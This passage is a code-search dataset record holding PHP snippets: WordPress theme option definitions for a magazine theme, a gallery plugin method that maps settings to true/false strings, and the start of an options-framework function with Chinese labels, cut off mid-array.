blocks for the layout manager (sorter)\n\t\t$of_options_homepage_blocks = array\n\t\t( \n\t\t\t\"disabled\" => array (\n\t\t\t\t\"placebo\" \t\t=> \"placebo\", //REQUIRED!\n\t\t\t\t\"block_one\"\t\t=> \"Block One\",\n\t\t\t\t\"block_two\"\t\t=> \"Block Two\",\n\t\t\t\t\"block_three\"\t=> \"Block Three\",\n\t\t\t), \n\t\t\t\"enabled\" => array (\n\t\t\t\t\"placebo\" \t\t=> \"placebo\", //REQUIRED!\n\t\t\t\t\"block_four\"\t=> \"Block Four\",\n\t\t\t),\n\t\t);\n\n\n\t\t//Stylesheets Reader\n\t\t$alt_stylesheet_path = LAYOUT_PATH;\n\t\t$alt_stylesheets = array();\n\t\t\n\t\tif ( is_dir($alt_stylesheet_path) ) \n\t\t{\n\t\t\tif ($alt_stylesheet_dir = opendir($alt_stylesheet_path) ) \n\t\t\t{ \n\t\t\t\twhile ( ($alt_stylesheet_file = readdir($alt_stylesheet_dir)) !== false ) \n\t\t\t\t{\n\t\t\t\t\tif(stristr($alt_stylesheet_file, \".css\") !== false)\n\t\t\t\t\t{\n\t\t\t\t\t\t$alt_stylesheets[] = $alt_stylesheet_file;\n\t\t\t\t\t}\n\t\t\t\t} \n\t\t\t}\n\t\t}\n\n\n\t\t//Background Images Reader\n\t\t$bg_images_path = get_stylesheet_directory(). '/images/bg/'; // change this to where you store your bg images\n\t\t$bg_images_url = get_template_directory_uri().'/images/bg/'; // change this to where you store your bg images\n\t\t$bg_images = array();\n\t\t\n\t\tif ( is_dir($bg_images_path) ) {\n\t\t\tif ($bg_images_dir = opendir($bg_images_path) ) { \n\t\t\t\twhile ( ($bg_images_file = readdir($bg_images_dir)) !== false ) {\n\t\t\t\t\tif(stristr($bg_images_file, \".png\") !== false || stristr($bg_images_file, \".jpg\") !== false) {\n\t\t\t\t\t\tnatsort($bg_images); //Sorts the array into a natural order\n\t\t\t\t\t\t$bg_images[] = $bg_images_url . $bg_images_file;\n\t\t\t\t\t}\n\t\t\t\t} \n\t\t\t}\n\t\t}\n\t\t\n\n\t\t/*-----------------------------------------------------------------------------------*/\n\t\t/* TO DO: Add options/functions that use these */\n\t\t/*-----------------------------------------------------------------------------------*/\n\t\t\n\t\t//More Options\n\t\t$uploads_arr \t\t= wp_upload_dir();\n\t\t$all_uploads_path \t= $uploads_arr['path'];\n\t\t$all_uploads \t\t= get_option('of_uploads');\n\t\t$other_entries \t\t= array(\"Select a number:\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\");\n\t\t$body_repeat \t\t= array(\"no-repeat\",\"repeat-x\",\"repeat-y\",\"repeat\");\n\t\t$body_pos \t\t\t= array(\"top left\",\"top center\",\"top right\",\"center left\",\"center center\",\"center right\",\"bottom left\",\"bottom center\",\"bottom right\");\n\t\t\n\t\t// Image Alignment radio box\n\t\t$of_options_thumb_align = array(\"alignleft\" => \"Left\",\"alignright\" => \"Right\",\"aligncenter\" => \"Center\"); \n\t\t\n\t\t// Image Links to Options\n\t\t$of_options_image_link_to = array(\"image\" => \"The Image\",\"post\" => \"The Post\"); \n\n\n/*-----------------------------------------------------------------------------------*/\n/* The Options Array */\n/*-----------------------------------------------------------------------------------*/\n\n// Set the Options Array\nglobal $of_options;\n$of_options = array();\n\n/*-----------------------------------------------------------------------------------*/\n/* Home page options */\n/*-----------------------------------------------------------------------------------*/\n$of_options[] = array( \t\n\t\"name\" \t\t=> \"Home Page\",\n\t\"type\" \t\t=> \"heading\",\n\t\"icon\"\t\t=> ADMIN_IMAGES . \"icon-home.png\"\n);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Logo\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'logo',\n\t\t\"desc\"\t\t=> __(\"Select your logo 370x76px MAX\", \"thebigmag\"),\n\t\t\"std\"\t\t=> \"\",\n\t\t\"type\"\t\t=> \"media\",\n\t\t\"mod\"\t\t=> \"min\"\n\t);\n\n\t$of_options[] = array( \t\n\t\t\"name\" \t\t=> \"Hello there!\",\n\t\t\"desc\" \t\t=> \"\",\n\t\t\"id\" \t\t=> \"introduction\",\n\t\t\"std\" \t\t=> \"<h3 style=\\\"margin: 0 0 10px;\\\">Welcome to the TheBigMag theme settings!</h3>\n\t\t<p>Welcome to the options pannel of TheBigMag theme.Setup everything you need here, and dont bother touching code!</p>\",\n\t\t\"icon\" \t\t=> true,\n\t\t\"type\" \t\t=> \"info\"\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Daily Message\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'daily_message',\n\t\t\"desc\"\t\t=> __(\"Message seen in every page in the header.\", \"thebigmag\"),\n\t\t\"std\"\t\t=> __(\"Your daily message\", \"thebigmag\"),\n\t\t\"icon\"\t\t=> true,\n\t\t\"type\"\t\t=> \"text\"\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Slider Tag group\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'slider_tag',\n\t\t\"desc\"\t\t=> __(\"What is the tag, that will include posts in the slider section\", \"thebigmag\"),\n\t\t\"std\"\t\t=> __(\"featured\", \"thebigmag\"),\n\t\t\"icon\"\t\t=> true,\n\t\t\"type\"\t\t=> \"text\"\n\t);\n\n\t/* -------------- TOP WEEKLY POSTS ---------------- */\n\n\t$of_options[] = array( \t\n\t\t\"name\" \t\t=> \"Section: Top Weekly\",\n\t\t\"desc\" \t\t=> \"\",\n\t\t\"id\" \t\t=> \"categories\",\n\t\t\"std\" \t\t=> \"<h3>Section: Top Weekly</h3>\",\n\t\t\"icon\" \t\t=> true,\n\t\t\"type\" \t\t=> \"info\"\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Section: Top Weekly Posts title\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'top_news_title',\n\t\t\"desc\"\t\t=> __(\"Write the top posts title section here. (this is the one right of the sider)\", \"thebigmag\"),\n\t\t\"std\"\t\t=> __(\"Latest and most commented news\", \"thebigmag\"),\n\t\t\"icon\"\t\t=> true,\n\t\t\"type\"\t\t=> \"text\"\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Icon for the title\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'top_news_icon',\n\t\t\"desc\"\t\t=> __(\"Place the icon class. You can find them all in a link at the documentation.\", \"thebigmag\"),\n\t\t\"std\"\t\t=> \"fa fa-star\",\n\t\t\"icon\"\t\t=> true,\n\t\t\"type\"\t\t=> \"text\"\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Text for today's news\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'top_news_today',\n\t\t\"desc\"\t\t=> __(\"Write how to look the today's news. Standart is NEW but you can write TODAY.\", \"thebigmag\"),\n\t\t\"std\"\t\t=> __(\"NEW\", \"thebigmag\"),\n\t\t\"icon\"\t\t=> true,\n\t\t\"type\"\t\t=> \"text\"\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Ammount of posts shown\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'top_news_limit',\n\t\t\"desc\"\t\t=> __(\"How many to be listed. Tip - optimise them to be equal to slider height\", \"thebigmag\"),\n\t\t\"std\"\t\t=> \"5\",\n\t\t\"type\"\t\t=> \"sliderui\",\n\t\t\"max\"\t\t=> \"15\",\n\t\t\"step\"\t\t=> \"1\"\n\t);\n\n\t/* -------------- CATEGORIES ---------------- */\n\n\t$of_options[] = array( \t\n\t\t\"name\" \t\t=> \"Section: Categories\",\n\t\t\"desc\" \t\t=> \"\",\n\t\t\"id\" \t\t=> \"categories\",\n\t\t\"std\" \t\t=> \"<h3>Section: Categories</h3>\",\n\t\t\"icon\" \t\t=> true,\n\t\t\"type\" \t\t=> \"info\"\n\t);\n\n\t$of_options[] = array( \n\t\t\"name\" \t\t\t=> \"Display the categories\",\n\t\t\"desc\" \t\t\t=> \"Set on if you want to see the categories listed in the home page.\",\n\t\t\"id\" \t\t\t=> \"categories_switch\",\n\t\t\"std\" \t\t\t=> 1,\n\t\t\"type\" \t\t\t=> \"switch\"\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Categories List Title\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'categories_title',\n\t\t\"desc\"\t\t=> __(\"Write the title of categories list section in the homepage.\", \"thebigmag\"),\n\t\t\"std\"\t\t=> __(\"Top Categories\", \"thebigmag\"),\n\t\t\"icon\"\t\t=> true,\n\t\t\"type\"\t\t=> \"text\"\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"First Category\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'categories_first',\n\t\t\"desc\"\t\t=> __(\"Select which category will be displayed. Subcategories from it will be listed below.\", \"thebigmag\"),\n\t\t\"type\"\t\t=> \"select\",\n\t\t\"options\"\t=> $of_categories\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Secound Category\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'categories_secound',\n\t\t\"desc\"\t\t=> __(\"Select which category will be displayed. Subcategories from it will be listed below.\", \"thebigmag\"),\n\t\t\"type\"\t\t=> \"select\",\n\t\t\"options\"\t=> $of_categories\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Third Category\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'categories_third',\n\t\t\"desc\"\t\t=> __(\"Select which category will be displayed. Subcategories from it will be listed below.\", \"thebigmag\"),\n\t\t\"type\"\t\t=> \"select\",\n\t\t\"options\"\t=> $of_categories\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Fourth Category\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'categories_fourth',\n\t\t\"desc\"\t\t=> __(\"Select which category will be displayed. Subcategories from it will be listed below.\", \"thebigmag\"),\n\t\t\"type\"\t\t=> \"select\",\n\t\t\"options\"\t=> $of_categories\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Number of categories\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'categories_limit',\n\t\t\"desc\"\t\t=> __(\"Select how many subcategories will be displayed.\", \"thebigmag\"),\n\t\t\"type\"\t\t=> \"sliderui\",\n\t\t\"min\"\t\t=> \"1\",\n\t\t\"max\"\t\t=> \"20\",\n\t\t\"step\"\t\t=> \"1\",\n\t\t\"std\"\t\t=> \"3\"\n\t);\n\n\t/* -------------- CATEGORIES ---------------- */\n\n\t$of_options[] = array( \t\n\t\t\"name\" \t\t=> \"Section: Featured category 1\",\n\t\t\"desc\" \t\t=> \"\",\n\t\t\"id\" \t\t=> \"categories\",\n\t\t\"std\" \t\t=> \"<h3>Section: Featured category 1</h3>\",\n\t\t\"icon\" \t\t=> true,\n\t\t\"type\" \t\t=> \"info\"\n\t);\n\n\t$of_options[] = array( \n\t\t\"name\" \t\t=> \"Display the Section\",\n\t\t\"desc\" \t\t=> \"Set on if you want to see the section in home page.\",\n\t\t\"id\" \t\t=> \"featured1_switch\",\n\t\t\"std\" \t\t=> 1,\n\t\t\"type\" \t\t=> \"switch\"\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Featured Category\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'featured1_category',\n\t\t\"desc\"\t\t=> __(\"Select the featured category you want to display\", \"thebigmag\"),\n\t\t\"type\"\t\t=> \"select\",\n\t\t\"options\"\t=> $of_categories\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Number of posts\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'featured1_limit',\n\t\t\"desc\"\t\t=> __(\"Select how many posts will be displayed on the right.\", \"thebigmag\"),\n\t\t\"type\"\t\t=> \"sliderui\",\n\t\t\"min\"\t\t=> \"1\",\n\t\t\"max\"\t\t=> \"8\",\n\t\t\"step\"\t\t=> \"1\",\n\t\t\"std\"\t\t=> \"3\"\n\t);\n\n\t$of_options[] = array( \t\n\t\t\"name\" \t\t=> \"Section: Three Categires\",\n\t\t\"desc\" \t\t=> \"\",\n\t\t\"id\" \t\t=> \"categories\",\n\t\t\"std\" \t\t=> \"<h3>Section: Three Categires</h3><p>Select 3 categories that will be displayed after the featured category section. This will be 1 featured (the latest one) and X posts after it. The posts are ordered last first.</p>\",\n\t\t\"icon\" \t\t=> true,\n\t\t\"type\" \t\t=> \"info\"\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Three categories: 1th\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'three_cat_1_title',\n\t\t\"desc\"\t\t=> __(\"First category from the 3 col section.\", \"thebigmag\"),\n\t\t\"type\"\t\t=> \"select\",\n\t\t\"options\"\t=> $of_categories\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Three categories: 2th\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'three_cat_2_title',\n\t\t\"desc\"\t\t=> __(\"Secound category from the 3 col section.\", \"thebigmag\"),\n\t\t\"type\"\t\t=> \"select\",\n\t\t\"options\"\t=> $of_categories\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Three categories: 3th\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'three_cat_3_title',\n\t\t\"desc\"\t\t=> __(\"Third category from the 3 col section.\", \"thebigmag\"),\n\t\t\"type\"\t\t=> \"select\",\n\t\t\"options\"\t=> $of_categories\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Number of posts\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'three_cat_limit',\n\t\t\"desc\"\t\t=> __(\"Select how many posts will be displayed on the bottom.\", \"thebigmag\"),\n\t\t\"type\"\t\t=> \"sliderui\",\n\t\t\"min\"\t\t=> \"1\",\n\t\t\"max\"\t\t=> \"8\",\n\t\t\"step\"\t\t=> \"1\",\n\t\t\"std\"\t\t=> \"3\"\n\t);\n\n\t/* -------------- LATEST POSTS ---------------- */\n\n\t$of_options[] = array( \t\n\t\t\"name\" \t\t=> \"Section: Latest posts\",\n\t\t\"desc\" \t\t=> \"\",\n\t\t\"id\" \t\t=> \"latestPosts\",\n\t\t\"std\" \t\t=> __(\"<h3>Section: Latest posts</h3><p>The posts list displayed on home page. This is a blog like section with X amount of posts. No pagination is used.</p>\", 'thebigmag'),\n\t\t\"icon\" \t\t=> true,\n\t\t\"type\" \t\t=> \"info\"\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Text for today's news\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'latestPosts-title',\n\t\t\"desc\"\t\t=> __(\"A list of the latest posts on the blog page. (news)\", \"thebigmag\"),\n\t\t\"std\"\t\t=> __(\"Latest Posts\", \"thebigmag\"),\n\t\t\"icon\"\t\t=> true,\n\t\t\"type\"\t\t=> \"text\"\n\t);\n\n/*-----------------------------------------------------------------------------------*/\n/* Page Options */\n/*-----------------------------------------------------------------------------------*/\n\n$of_options[] = array( \t\n\t\"name\" \t\t=> \"Page Options\",\n\t\"type\" \t\t=> \"heading\",\n\t\"icon\"\t\t=> ADMIN_IMAGES . \"icon-docs.png\"\n);\n\n\t// The settngs for the sidebar. What is returned from this option\n\t// is a class for the sidebar section. If its 'pull-left\" then the sidebar\n\t// will be located on the left side of the page. \"Hidden\" ia buld in\n\t// botstrap class that wont allow the sidebar to be displayed.'\n\t$url = ADMIN_DIR . 'assets/images/';\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Main Layout\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'single_page_layout',\n\t\t\"desc\"\t\t=> __(\"Select main content and sidebar alignment. Choose between left or right sidebar location.\", \"thebigmag\"),\n\t\t\"std\" \t\t=> \"3cm.css\",\n\t\t\"type\"\t\t=> \"images\",\n\t\t\"options\" => array(\n\t\t\t'pull-right' \t\t=> $url . '3cr.png',\n\t\t\t'hidden' \t\t\t=> $url . '1col.png',\n\t\t\t'pull-left' \t\t=> $url . '3cm.png',\n\t\t)\n\t);\n\n\t$of_options[] = array( \n\t\t\"name\" \t\t=> \"Show Breadcrumbs on all pages\",\n\t\t\"desc\" \t\t=> \"Select On or off. Breadcrumbs will be displayed in all pages they are made for.\",\n\t\t\"id\" \t\t=> \"show_breadcrumbs\",\n\t\t\"std\" \t\t=> 1,\n\t\t\"type\" \t\t=> \"switch\"\n\t);\n\n\t$of_options[] = array( \n\t\t\"name\" \t\t=> \"Use Leading Text\",\n\t\t\"desc\" \t\t=> \"Select ON to make the first paragraph of your posts bolder.\",\n\t\t\"id\" \t\t=> \"show_leading\",\n\t\t\"std\" \t\t=> 1,\n\t\t\"type\" \t\t=> \"switch\"\n\t);\n\n\t$of_options[] = array( \n\t\t\"name\" \t\t=> \"Show posts from same category\",\n\t\t\"desc\" \t\t=> \"Select ON to show posts from same category under each single article page\",\n\t\t\"id\" \t\t=> \"show_similar\",\n\t\t\"std\" \t\t=> 1,\n\t\t\"type\" \t\t=> \"switch\"\n\t);\n\n\t$of_options[] = array( \n\t\t\"name\" \t\t=> \"Display 'Last Modified' text.\",\n\t\t\"desc\" \t\t=> \"Use this to show when the article/page was lastly modified.\",\n\t\t\"id\" \t\t=> \"show_modified\",\n\t\t\"std\" \t\t=> 1,\n\t\t\"type\" \t\t=> \"switch\"\n\t);\n\n\t$of_options[] = array( \n\t\t\"name\" \t\t=> \"Display 'Current Date' text.\",\n\t\t\"desc\" \t\t=> \"Use this to show the currrent day and time in single page and articles..\",\n\t\t\"id\" \t\t=> \"show_date\",\n\t\t\"std\" \t\t=> 1,\n\t\t\"type\" \t\t=> \"switch\"\n\t);\n\n\t$of_options[] = array( \n\t\t\"name\" \t\t=> \"Use default thumbnail.\",\n\t\t\"desc\" \t\t=> \"Set to ON to show the default 'No Thumbnail' image when one is not set.\",\n\t\t\"id\" \t\t=> \"show_default_thumbnail\",\n\t\t\"std\" \t\t=> 1,\n\t\t\"type\" \t\t=> \"switch\"\n\t);\n\n\n/*-----------------------------------------------------------------------------------*/\n/* Banner Settings */\n/*-----------------------------------------------------------------------------------*/\n\n$of_options[] = array( \t\n\t\"name\" \t\t=> \"Banner Options\",\n\t\"type\" \t\t=> \"heading\",\n\t\"icon\"\t\t=> ADMIN_IMAGES . \"icon-add.png\"\n);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Under Page Banner Image\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'banner_underContent_image',\n\t\t\"desc\"\t\t=> __(\"Select the banner image (jpg, png or gif)\", \"thebigmag\"),\n\t\t\"std\"\t\t=> \"\",\n\t\t\"type\"\t\t=> \"media\",\n\t\t\"mod\"\t\t=> \"min\"\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Under Page Banner Link\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'banner_underContent_link',\n\t\t\"desc\"\t\t=> __(\"Set where you want the banner under the comments ara to be linking to.\", \"thebigmag\"),\n\t\t\"std\"\t\t=> \"#\",\n\t\t\"type\"\t\t=> \"text\"\n\t);\n\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Main Single page Banner Image\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'banner_mainSinglePage_image',\n\t\t\"desc\"\t\t=> __(\"Select the banner image (jpg, png or gif)\", \"thebigmag\"),\n\t\t\"std\"\t\t=> \"\",\n\t\t\"type\"\t\t=> \"media\",\n\t\t\"mod\"\t\t=> \"min\"\n\t);\n\n\t$of_options[] = array(\n\t\t\"name\"\t\t=> __(\"Main Single page Banner Link\", \"thebigmag\"),\n\t\t\"id\"\t\t=> 'banner_mainSinglePage_link',\n\t\t\"desc\"\t\t=> __(\"This banner will be displayed above the title of single posts.\", \"thebigmag\"),\n\t\t\"std\"\t\t=> \"#\",\n\t\t\"type\"\t\t=> \"text\"\n\t);\n\n\t\n/*-----------------------------------------------------------------------------------*/\n/* Site Stylings */\n/*-----------------------------------------------------------------------------------*/\n\n$of_options[] = array( \t\n\t\"name\" \t\t=> \"Custom Style\",\n\t\"type\" \t\t=> \"heading\",\n\t\"icon\"\t\t=> ADMIN_IMAGES . \"icon-paint.png\"\n);\n\n\t$of_options[] = array( \n\t\t\"name\" \t\t=> \"Main Site Color\",\n\t\t\"id\" \t\t=> \"color_main\",\n\t\t\"std\" \t\t=> \"#1670cc\",\n\t\t\"type\" \t\t=> \"color\"\n\t);\n\n\t$of_options[] = array( \n\t\t\"name\" \t\t=> \"Link Color\",\n\t\t\"id\" \t\t=> \"color_link\",\n\t\t\"std\" \t\t=> \"#396a9d\",\n\t\t\"type\" \t\t=> \"color\"\n\t);\n\n\t$of_options[] = array( \n\t\t\"name\" \t\t=> \"Link Hover Color\",\n\t\t\"id\" \t\t=> \"color_hover_link\",\n\t\t\"std\" \t\t=> \"#264d76\",\n\t\t\"type\" \t\t=> \"color\"\n\t);\n\n\t$of_options[] = array( \n\t\t\"name\" \t\t=> \"Menu Background Color\",\n\t\t\"id\" \t\t=> \"color_menu_bg\",\n\t\t\"std\" \t\t=> \"#262626\",\n\t\t\"type\" \t\t=> \"color\"\n\t);\n\n\t/* WIDGET SETTINGS */\n\n\t$of_options[] = array( \n\t\t\"name\" \t\t=> \"Widget Menu Style\",\n\t\t\"desc\" \t\t=> \"Select ON to use the default dark style or OFF to use the light skin.\",\n\t\t\"id\" \t\t=> \"widget_menu_skin\",\n\t\t\"std\" \t\t=> \"dark\",\n\t\t\"type\" \t\t=> \"select\",\n\t\t\"options\"\t=> array( 'light', 'dark' ),\n\t);\n\n\n\n/*-----------------------------------------------------------------------------------*/\n/* Backup options */\n/*-----------------------------------------------------------------------------------*/\n$of_options[] = array( \t\n\t\"name\" \t\t=> \"Backup Options\",\n\t\"type\" \t\t=> \"heading\",\n\t\"icon\"\t\t=> ADMIN_IMAGES . \"icon-slider.png\"\n);\n\t\t\t\t\n\t$of_options[] = array( \t\n\t\t\"name\" \t\t=> \"Backup and Restore Options\",\n\t\t\"id\" \t\t=> \"of_backup\",\n\t\t\"std\" \t\t=> \"\",\n\t\t\"type\" \t\t=> \"backup\",\n\t\t\"desc\" \t\t=> 'You can use the two buttons below to backup your current options, and then restore it back at a later time. This is useful if you want to experiment on the options but would like to keep the old settings in case you need it back.',\n\t);\n\t\t\t\t\t\n\t$of_options[] = array( \t\n\t\t\"name\" \t\t=> \"Transfer Theme Options Data\",\n\t\t\"id\" \t\t=> \"of_transfer\",\n\t\t\"std\" \t\t=> \"\",\n\t\t\"type\" \t\t=> \"transfer\",\n\t\t\"desc\" \t\t=> 'You can tranfer the saved options data between different installs by copying the text inside the text box. To import data from another install, replace the data in the text box with the one from another install and click \"Import Options\".',\n\t);\n\t\t\t\t\n\t}", "title": "" }, { "docid": "4b0415c61a62236a964532933ad01df4", "score": "0.6455166", "text": "public function prepareOptions()\n {\n if ($this->property('swipeWhileZoom') == 1) {\n $this->page['swipeWhileZoom'] = \"true\";\n } else {\n $this->page['swipeWhileZoom'] = \"false\";\n }\n\n if ($this->property('loop') == 1) {\n $this->page['loop'] = \"true\";\n } else {\n $this->page['loop'] = \"false\";\n }\n\n if ($this->property('closeOnScroll') == 1) {\n $this->page['closeOnScroll'] = \"true\";\n } else {\n $this->page['closeOnScroll'] = \"false\";\n }\n\n if ($this->property('pinchToClose') == 1) {\n $this->page['pinchToClose'] = \"true\";\n } else {\n $this->page['pinchToClose'] = \"false\";\n }\n\n if ($this->property('closeOnVerticalDrag') == 1) {\n $this->page['closeOnVerticalDrag'] = \"true\";\n } else {\n $this->page['closeOnVerticalDrag'] = \"false\";\n }\n\n if ($this->property('escKey') == 1) {\n $this->page['escKey'] = \"true\";\n } else {\n $this->page['escKey'] = \"false\";\n }\n\n if ($this->property('shareEl') == 1) {\n $this->page['shareEl'] = \"true\";\n } else {\n $this->page['shareEl'] = \"false\";\n }\n\n if ($this->property('zoomEl') == 1) {\n $this->page['zoomEl'] = \"true\";\n } else {\n $this->page['zoomEl'] = \"false\";\n }\n\n if ($this->property('fullscreenEl') == 1) {\n $this->page['fullscreenEl'] = \"true\";\n } else {\n $this->page['fullscreenEl'] = \"false\";\n }\n\n if ($this->property('counterEl') == 1) {\n $this->page['counterEl'] = \"true\";\n } else {\n $this->page['counterEl'] = \"false\";\n }\n\n if ($this->property('arrowEl') == 1) {\n $this->page['arrowEl'] = \"true\";\n } else {\n $this->page['arrowEl'] = \"false\";\n }\n\n if ($this->property('captionEl') == 1) {\n $this->page['captionEl'] = \"true\";\n } else {\n $this->page['captionEl'] = \"false\";\n }\n\n $this->page['maxSpreadZoom'] = $this->property('maxSpreadZoom');\n $this->page['tapZoomLevel'] = $this->property('getDoubleTapZoom');\n }", "title": "" }, { "docid": "55171bc8e786da49b256942be92ed50e", "score": "0.6455011", "text": "function optionsframework_options() {\n\n\t// 测试数据\n\t$test_array = array(\n\t\t'one' => __( 'One', 'theme-textdomain' ),\n\t\t'two' => __( 'Two', 'theme-textdomain' ),\n\t\t'three' => __( 'Three', 'theme-textdomain' ),\n\t\t'four' => __( 'Four', 'theme-textdomain' ),\n\t\t'five' => __( 'Five', 'theme-textdomain' )\n\t);\n\n\t// 复选框数组\n\t$multicheck_array = array(\n\t\t'one' => __( 'French Toast', 'theme-textdomain' ),\n\t\t'two' => __( 'Pancake', 'theme-textdomain' ),\n\t\t'three' => __( 'Omelette', 'theme-textdomain' ),\n\t\t'four' => __( 'Crepe', 'theme-textdomain' ),\n\t\t'five' => __( 'Waffle', 'theme-textdomain' )\n\t);\n\n\t// 复选框默认值\n\t$multicheck_defaults = array(\n\t\t'one' => '1',\n\t\t'five' => '1'\n\t);\n\n\t// 默认背景\n\t$background_defaults = array(\n\t\t'color' => '',\n\t\t'image' => '',\n\t\t'repeat' => 'repeat',\n\t\t'position' => 'top center',\n\t\t'attachment'=>'scroll' );\n\n\t// 默认排版\n\t$typography_defaults = array(\n\t\t'size' => '15px',\n\t\t'face' => 'georgia',\n\t\t'style' => 'bold',\n\t\t'color' => '#bada55' );\n\n\t// 排版设置\n\t$typography_options = array(\n\t\t'sizes' => array( '6','12','14','16','20' ),\n\t\t'faces' => array( 'Helvetica Neue' => 'Helvetica Neue','Arial' => 'Arial' ),\n\t\t'styles' => array( 'normal' => 'Normal','bold' => 'Bold' ),\n\t\t'color' => false\n\t);\n\n\t// 将所有分类(categories)放进数组\n\t$options_categories = array();\n\t$options_categories_obj = get_categories();\n\tforeach ($options_categories_obj as $category) {\n\t\t$options_categories[$category->cat_ID] = $category->cat_name;\n\t}\n\n\t// 将所有标签(tags)放进数组\n\t$options_tags = array();\n\t$options_tags_obj = get_tags();\n\tforeach ( $options_tags_obj as $tag ) {\n\t\t$options_tags[$tag->term_id] = $tag->name;\n\t}\n\n\n\t// 将所有页面(pages)加入数组\n\t$options_pages = array();\n\t$options_pages_obj = get_pages( 'sort_column=post_parent,menu_order' );\n\t$options_pages[''] = 'Select a page:';\n\tforeach ($options_pages_obj as $page) {\n\t\t$options_pages[$page->ID] = $page->post_title;\n\t}\n\n\t//如果使用图片单选按钮,定义一个目录路径\n\t$imagepath = get_template_directory_uri() . '/images/';\n\n\t$options = array();\n\n\t$options[] = array(\n\t\t'name' => __( '基本设置', 'theme-textdomain' ),\n\t\t'type' => 'heading'\n\t);\n //以下开始基本设置\n $options[] = array(\n\t\t'name' => __( '个人头像', 'theme-textdomain' ),\n\t\t'desc' => __( '设置左侧导航和首页头像,建议大小:100*100;', 'theme-textdomain' ),\n\t\t'id' => 'head',\n\t\t'type' => 'upload'\n\t);\n\t$options[] = array(\n\t\t'name' => __( '博主昵称', 'theme-textdomain' ),\n\t\t'desc' => __( '显示在侧边栏', 'theme-textdomain' ),\n\t\t'id' => 'nickname',\n\t\t'std' => '',\n\t\t'type' => 'text',\n\t\t'class' => 'mini'\n\t);\n\n\t$options[] = array(\n\t\t'name' => __( '首页背景', 'theme-textdomain' ),\n\t\t'desc' => __( '最佳尺寸1920*1080', 'theme-textdomain' ),\n\t\t'id' => 'scene-image',\n\t\t'type' => 'upload'\n\t);\n\t$options[] = array(\n\t\t'name' => __( '后台登陆界面背景', 'theme-textdomain' ),\n\t\t'desc' => __( '最佳尺寸1920*1080', 'theme-textdomain' ),\n\t\t'id' => 'admin-background',\n\t\t'type' => 'upload'\n\t);\n\t$options[] = array(\n\t\t'name' => __( '站点icon', 'theme-textdomain' ),\n\t\t'desc' => __( '设置站点icon,建议大小:16*16,建议格式:ico或png', 'theme-textdomain' ),\n\t\t'id' => 'icon',\n\t\t'type' => 'upload'\n\t);\n\n\t$options[] = array(\n\t\t'name' => __( '网站关键词', 'theme-textdomain' ),\n\t\t'desc' => __( '各关键字间用半角逗号\",\"分割,数量在5个以内最佳。', 'theme-textdomain' ),\n\t\t'id' => 'keywords',\n\t\t'std' => '',\n\t\t'type' => 'text'\n\t);\n\n\t$options[] = array(\n\t\t'name' => __( '网站描述', 'theme-textdomain' ),\n\t\t'desc' => __( '用简洁的文字描述本站点,建议小于50字。', 'theme-textdomain' ),\n\t\t'id' => 'description',\n\t\t'std' => '',\n\t\t'type' => 'text'\n\t);\n\n\t$options[] = array(\n\t\t'name' => __( '博主描述', 'theme-textdomain' ),\n\t\t'desc' => __( '一段自我描述的话,将显示在\"首页\"中。', 'theme-textdomain' ),\n\t\t'id' => 'admin-desc',\n\t\t'std' => '',\n\t\t//'placeholder' => 'Placeholder',\n\t\t'type' => 'text'\n\t);\n\n\t$options[] = 